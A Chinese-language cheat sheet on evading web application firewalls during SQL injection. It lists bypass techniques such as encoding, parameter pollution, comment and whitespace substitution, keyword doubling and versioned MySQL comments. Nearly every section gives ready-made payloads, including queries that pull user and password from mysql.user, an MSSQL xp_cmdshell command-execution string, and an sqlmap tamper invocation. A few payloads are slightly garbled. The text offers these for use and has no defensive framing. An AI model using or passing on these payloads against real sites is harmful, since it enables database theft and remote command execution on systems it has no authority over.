各种WAF绕过方法

waf针对于get防护度是很高的,很多选项默认开启,但是cookie post很多功能并不开启,现在没有一个安全厂商可以做到全部功能开启,资源占用量太大,所以一般只检测常见问题 因此在绕过的时候尽量避免get请求

(1)编码绕过

最常见的方法之一,可以进行urlencode,早期的方法,现在效果不是太好

(2)修改请求方式绕过

最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。

(3)复参数绕过

#例如一个请求是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
#可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以这样绕,测试最新版WAF能绕过部分语句

(4)WAF触发规则的绕过

WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多

策略一:特殊字符替换空格

用一些特殊字符代替空格,比如在mysql中%0a是换行,代替空格,用多行注释/**/代替空格, 还有前面学的url编码,如%23是井号,混用如下:

#原注入语句
xxx/sql.php/id=1 union select 1,user(),3,4,5
#混用后
xxx/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
xxx/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2

策略二:特殊字符拼接

把特殊字符拼接起来绕过WAF的检测,比如在mssql中,函数里面可以用+来拼接

#如:
GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’)
#可以改为:
GET /pen/news.php?id=1;exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’)

策略三:注释包含关键字

在mysql中,可以利用/!/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。

GET /pen/news.php?id=1 union select user,password from mysql.user
#可以改为: 
GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user

策略四:特殊符号

尝试seelct~ select~1 select! select@等绕过

(5):空格替换法

把空格替换成%0a/**/可以绕过最新版本WAF,

xxx/sql.php?id=1%20union%23%0aselect%23%0a1,user(),3,4,5

(6)关键字替换

xxx/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….

#此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成
union select 1,2,3,4....

(7)编码与注释结合

xxx/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
xxx/sql.php?id=1/*!50000*/union/*!50000*/select/*!50000*/1,user(),3,4,5
xxx/sqli/Less-1/?id=1' and /*!1=1*/ %23 (WAF不拦截)
#U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/

#手工进行加注释进行注入太慢,一般我们通过Sqlmap这类工具来实现自动注入:
sqlmap.py -u "URL" --tamper="versionedmorekeywords.py" --dealy=1

(8)利用WAF本身的功能绕过

假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过

xxx/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法
-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)

(9)使用其他变量或者命令对注入语句进行替换

COMMAND 代替品 WHAT TO USE INSTEAD
@@version 代替品 version()
concat() 代替品 concat_ws()
group_concat() 代替品 concat_ws()
= 代替品 like

#还有就是把or '1=1' 改成更复杂的如-1=-1**

(10)组合绕过waf

先判断注入点,把and为&&,urlencode后为%26%26

xxx/sql.php?id=1 and -1=-2
#变为
xxx/sql.php?id=1%20%26%26%20-1=-2

通过上面的变化,找到注入点后的绕过方法 1. 利用()代替空格 2. 利用mysql特性/!/执行语句 3. 利用/**/混淆代码

注入语句

id=1 union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1,     
id=1 user(),(database/**/()),4,5
id=1 union/*%00*//*!50010select*/1,user(),version(),4,5

注意 1. mysql关键字中是不能插入//的,即se//lect是会报错的,但是函数名和括号之间是可以加上//的,像database//()这样的代码是可以执行的 2. /!/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码 3. 数据或者函数周围可以无限嵌套() 4. 利用好00截断%00